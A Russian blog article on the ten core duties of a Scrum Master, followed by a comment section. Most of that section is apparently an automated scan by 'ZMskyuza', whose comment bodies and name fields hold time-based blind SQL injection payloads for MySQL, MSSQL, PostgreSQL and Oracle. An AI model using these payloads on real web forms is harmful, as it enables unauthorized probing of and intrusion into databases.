Работа Скрам-мастера – полная занятость или же её можно совмещать?
Прежде чем мы ответим на главный вопрос о занятости, давайте сначала попробуем понять, зачем роль Скрам-мастера вообще нужна.
Ниже кратко приведены десять основных обязанностей, на которых хороший Scrum-мастер фокусируется ежедневно:
1. Выполнение Скрам процесса
Он знает и понимает Scrum, обучает ему команду, а также всех окружающих проект.
Он помогает команде корректно использовать каркас Scrum и получать выгоды от идей эмпирической разработки продуктов.
2. Фасилитация командных встреч
Скрам-мастер не просто единственный человек, который выступает на встречах в роли фасилитатора (иначе он станет узким местом процесса, и всё упрётся в его доступность), хотя подразумевается, что Скрам-мастер – фасилитатор командных встреч умолчанию.
Для того, чтобы у команды разработки и других стейкхолдеров выработалось общее понимание работы и процессов, критично важно проводить результативные обсуждения в рамках отведённых встреч, а также развивать методы кооперации между участниками процесса.
Это вторая важнейшая ответственность Скрам-мастера. Он – мастер взаимодействия.
3. Проведение ретроспектив
У Скрам команды есть одна самая важная встреча – ретроспектива спринта. Сам факт наличия большого количества книг по этой теме подтверждает её важность.
Но почему? Потому что Scrum - это не процесс разработки продуктов, это «метапроцесс». Он помогает команде проектировать свой процесс, который подходит под конкретную проектную ситуацию. Этот процесс должен проистекать постоянно.
Поэтому без непрерывного критического рассмотрения и адаптации текущего процесса, команда застрянет в посредственности – “как-то что-то иногда работает, ну и ладно”.
4. Донесение «большой картинки» до команды
Команде разработки очень просто запутаться во всех этих Скрам церемониях, артефактах, ролях, препятствиях, а им хорошо бы ещё успевать и работающий продукт поставлять в срок. Поэтому команде продуктоводов компании (её может представлять Product owner) с помощью Scrum-мастера важно находить время для объяснения и презентации общей картины того, что происходит.
Помните, что все мы люди, и нам для поддержания факторов внутренней мотивации, очень важно понимать, зачем мы делаем ту или иную работу. Это мотивация цели.
5. Поиск ценности продукта
Хороший ScrumMaster уделяет время коучингу и менторству Владельца продукта (и других продуктоводов компании), чтобы они освоили такие инструменты как Lean Startup, Lean UX, Customer Development. Но для этого, конечно, необходимо, чтобы Скрам-мастер прежде освоил их сам.
6. Личный коучинг членов команды разработки
Индивидуальный коучинг (например, модель Сo-active coaching model) – ещё одна из жизненно необходимых способностей, которые стоит освоить Скрам-мастеру.
В противном случае общение будет ограничено не потенциалом команды, а интеллектуальными способностями Scrum-мастера.
7. Усиление обучения на всех уровнях
8. Изменение среды
Есть поговорка: «Поменяйте компанию или … поменяйте компанию».
Scrum – всего лишь серия цепочек обратной связи, с помощью которых мы можем увидеть собственную неэффективность. Если мы не отнесёмся к этой обратной связи серьёзно, мы не сможем улучшить наши компании. Серьёзное отношение подразумевает не только красивую визуализацию на стикерах и плакатах, а непосредственную (тяжёлую) работу по изменении компании - её правил, привычек, культуры, структуры.
9. Лавирование между конфликтами
Скрам заставляет людей разговаривать друг с другом. И, если вы всё делаете правильно, некоторые коллеги решать впервые что-то обсудить.
И что, вы думаете, случится, когда они надумают вдруг заговорить друг с другом? Они начнут делиться своими мыслями, опасениями, надеждами, идеями.... Это несомненно то, чего мы так хотим – помочь людям начать общаться и строить общую картину (если не мира, то хотя бы текущего проекта).
Проблема же состоит в том, что каждый из нас живёт в своей реальности, поэтому вполне естественно, что наши мысли отличаются. А отличия порождают противоречия. А вовремя неурегулированные противоречия влекут за собой конфликты.
Для творческой среды конфликты даже полезны, но важно, чтобы они не перерастали в ядерные войны в командах. Достаточно здравых, конструктивных конфликтов.
Помочь команде оставаться на уровне конструктивных несогласий – очень важная задача Скрам-мастера.
10. Отзеркаливание и катализация роста
Представим, что Скрам-мастер держит в руках зеркало, в котором команды и организация могут увидеть себя. А это значит, что ему нужны инструменты, которые помогут создать отражение: проверки состояния команды и другие разнообразные оценки гибкости команды., Открытость информации приводит к информированности.
В данном случае все средства хороши, но важно, чтобы они были аутентичными, простыми, и подходили под культуру текущей команды и компании. Дизайн таких инструментов – важная задача.
Информированность подталкивает к изменениям. Развитие происходит ежедневно и на разных уровнях организации. Вот зачем нужны Скрам-мастера: подталкивать развитие, замечать его малейшие проявления, отзеркаливать и усиливать их, и, конечно же, праздновать покорение новых вершин и земель.
Чтобы быть Scrum-мастером, мало просто выполнять основные обязанности.
Скрам-мастерство – это способ смотреть на окружающий мир и мир работы в частности, с фокусом на постоянное его улучшение для людей и руками людьми, которые в нём живут.
Это не работа с 9 до 6.
Это – мировоззрение.
Статья от 11/2016 переопубликована с сайта http://www.agiletrainings.eu
Write a comment
Igor (Wednesday, 30 May 2018 17:43)
Класс. Отлично написано. Вдохновляюще.
Спасибо.
Дмитрий (Monday, 25 June 2018 13:35)
Круто!
И где можно найти такого мастера?
Для него есть работа.
dmitry.savchenko@factorymarket.com
Василий (Tuesday, 09 October 2018 16:46)
Скрам мастеров очень не хватает
https://habr.com/post/421513/
ZMskyuza (Wednesday, 26 October 2022 17:25)
20
ZMskyuza (Wednesday, 26 October 2022 20:18)
20
ZMskyuza (Wednesday, 26 October 2022 20:18)
20
ZMskyuza (Wednesday, 26 October 2022 20:20)
20
ZMskyuza (Wednesday, 26 October 2022 20:20)
20
ZMskyuza (Wednesday, 26 October 2022 20:21)
20
ZMskyuza (Wednesday, 26 October 2022 20:22)
20
ZMskyuza (Wednesday, 26 October 2022 20:23)
20
ZMskyuza (Wednesday, 26 October 2022 20:23)
20
ZMskyuza (Wednesday, 26 October 2022 20:24)
20
ZMskyuza (Wednesday, 26 October 2022 20:25)
20
ZMskyuza (Wednesday, 26 October 2022 20:26)
20
ZMskyuza (Wednesday, 26 October 2022 20:27)
20
ZMskyuza (Wednesday, 26 October 2022 20:28)
20
ZMskyuza (Wednesday, 26 October 2022 20:29)
20
ZMskyuza (Wednesday, 26 October 2022 20:30)
20
ZMskyuza (Wednesday, 26 October 2022 20:30)
20
ZMskyuza (Wednesday, 26 October 2022 20:31)
20
ZMskyuza (Wednesday, 26 October 2022 20:32)
20
ZMskyuza (Wednesday, 26 October 2022 20:33)
20
ZMskyuza (Wednesday, 26 October 2022 20:33)
20
ZMskyuza (Wednesday, 26 October 2022 20:34)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 20:35)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 20:36)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 20:37)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 20:37)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:38)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:39)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:40)
Jq4IXiOY'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:41)
-5 OR 571=(SELECT 571 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:42)
-5) OR 948=(SELECT 948 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:42)
-1)) OR 207=(SELECT 207 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:43)
wcQNI97q' OR 125=(SELECT 125 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:44)
OnjdTHjY') OR 484=(SELECT 484 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:45)
x4a4EHrp')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 20:45)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 20:46)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 20:47)
20
ZMskyuza (Wednesday, 26 October 2022 20:48)
20
ZMskyuza (Wednesday, 26 October 2022 20:48)
20
ZMskyuza (Wednesday, 26 October 2022 20:49)
20
ZMskyuza (Wednesday, 26 October 2022 20:50)
20
ZMskyuza (Wednesday, 26 October 2022 20:51)
20
ZMskyuza (Wednesday, 26 October 2022 20:52)
20
ZMskyuza (Wednesday, 26 October 2022 20:52)
20
ZMskyuza (Wednesday, 26 October 2022 20:53)
20
ZMskyuza (Wednesday, 26 October 2022 20:54)
20
ZMskyuza (Wednesday, 26 October 2022 20:55)
20
ZMskyuza (Wednesday, 26 October 2022 20:56)
20
ZMskyuza (Wednesday, 26 October 2022 20:56)
20
ZMskyuza (Wednesday, 26 October 2022 20:57)
20
ZMskyuza (Wednesday, 26 October 2022 20:58)
20
ZMskyuza (Wednesday, 26 October 2022 20:59)
20
ZMskyuza (Wednesday, 26 October 2022 21:00)
20
ZMskyuza (Wednesday, 26 October 2022 21:00)
20
ZMskyuza (Wednesday, 26 October 2022 21:01)
20
ZMskyuza (Wednesday, 26 October 2022 21:02)
20
ZMskyuza (Wednesday, 26 October 2022 21:03)
20
ZMskyuza (Wednesday, 26 October 2022 21:03)
20
ZMskyuza (Wednesday, 26 October 2022 21:04)
20
ZMskyuza (Wednesday, 26 October 2022 21:05)
20
ZMskyuza (Wednesday, 26 October 2022 21:06)
20
ZMskyuza (Wednesday, 26 October 2022 21:07)
20
ZMskyuza (Wednesday, 26 October 2022 21:07)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:09)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 21:10)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022 21:25)
20
ZMskyuza (Wednesday, 26 October 2022 21:26)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 21:27)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 21:28)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 21:29)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 21:31)
20
ZSlNIDcQ'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 21:31)
20
GN96Nvli' OR 519=(SELECT 519 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:32)
20
1NtwOlz2') OR 933=(SELECT 933 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:33)
20
BvnXxnPp')) OR 613=(SELECT 613 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:34)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 21:35)
20
ZMskyuza (Wednesday, 26 October 2022 21:36)
20
ZMskyuza (Wednesday, 26 October 2022 21:37)
20
ZMskyuza (Wednesday, 26 October 2022 21:37)
20
ZMskyuza (Wednesday, 26 October 2022 21:38)
20
ZMskyuza (Wednesday, 26 October 2022 21:39)
20
ZMskyuza (Wednesday, 26 October 2022 21:40)
20
ZMskyuza (Wednesday, 26 October 2022 21:41)
20
ZMskyuza (Wednesday, 26 October 2022 21:41)
20
ZMskyuza (Wednesday, 26 October 2022 21:42)
20
ZMskyuza (Wednesday, 26 October 2022 21:43)
20
ZMskyuza (Wednesday, 26 October 2022 21:44)
20
ZMskyuza (Wednesday, 26 October 2022 21:45)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
ZMskyuza (Wednesday, 26 October 2022 21:47)
20
ZMskyuza (Wednesday, 26 October 2022 21:48)
20
ZMskyuza (Wednesday, 26 October 2022 21:48)
20
ZMskyuza (Wednesday, 26 October 2022 21:49)
20
ZMskyuza (Wednesday, 26 October 2022 21:50)
20
ZMskyuza (Wednesday, 26 October 2022 21:51)
20
ZMskyuza (Wednesday, 26 October 2022 21:52)
20
ZMskyuza (Wednesday, 26 October 2022 21:53)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 21:54)
20
ZMskyuza (Wednesday, 26 October 2022 21:55)
20
ZMskyuza (Wednesday, 26 October 2022 21:56)
20
ZMskyuza (Wednesday, 26 October 2022 21:56)
20
ZMskyuza (Wednesday, 26 October 2022 21:57)
20
ZMskyuza (Wednesday, 26 October 2022 21:58)
20
ZMskyuza (Wednesday, 26 October 2022 21:58)
20
ZMskyuza (Wednesday, 26 October 2022 21:59)
20
ZMskyuza (Wednesday, 26 October 2022 22:00)
20
ZMskyuza (Wednesday, 26 October 2022 22:01)
20
ZMskyuza (Wednesday, 26 October 2022 22:02)
20
ZMskyuza (Wednesday, 26 October 2022 22:03)
20
ZMskyuza (Wednesday, 26 October 2022 22:04)
20
ZMskyuza (Wednesday, 26 October 2022 22:04)
20
ZMskyuza (Wednesday, 26 October 2022 22:05)
20
ZMskyuza (Wednesday, 26 October 2022 22:06)
20
ZMskyuza (Wednesday, 26 October 2022 22:07)
20
ZMskyuza (Wednesday, 26 October 2022 22:08)
20
ZMskyuza (Wednesday, 26 October 2022 22:09)
20
ZMskyuza (Wednesday, 26 October 2022 22:09)
20
ZMskyuza (Wednesday, 26 October 2022 22:10)
20
ZMskyuza (Wednesday, 26 October 2022 22:11)
20
ZMskyuza (Wednesday, 26 October 2022 22:12)
20
ZMskyuza (Wednesday, 26 October 2022 22:12)
20
ZMskyuza (Wednesday, 26 October 2022 22:13)
20
ZMskyuza (Wednesday, 26 October 2022 22:14)
20
ZMskyuza (Wednesday, 26 October 2022 22:21)
20
ZMskyuza (Wednesday, 26 October 2022 23:19)
20
ZMskyuza (Wednesday, 26 October 2022 23:57)
20
ZMskyuza (Thursday, 27 October 2022 01:24)
20
ZMskyuza (Thursday, 27 October 2022 02:39)
20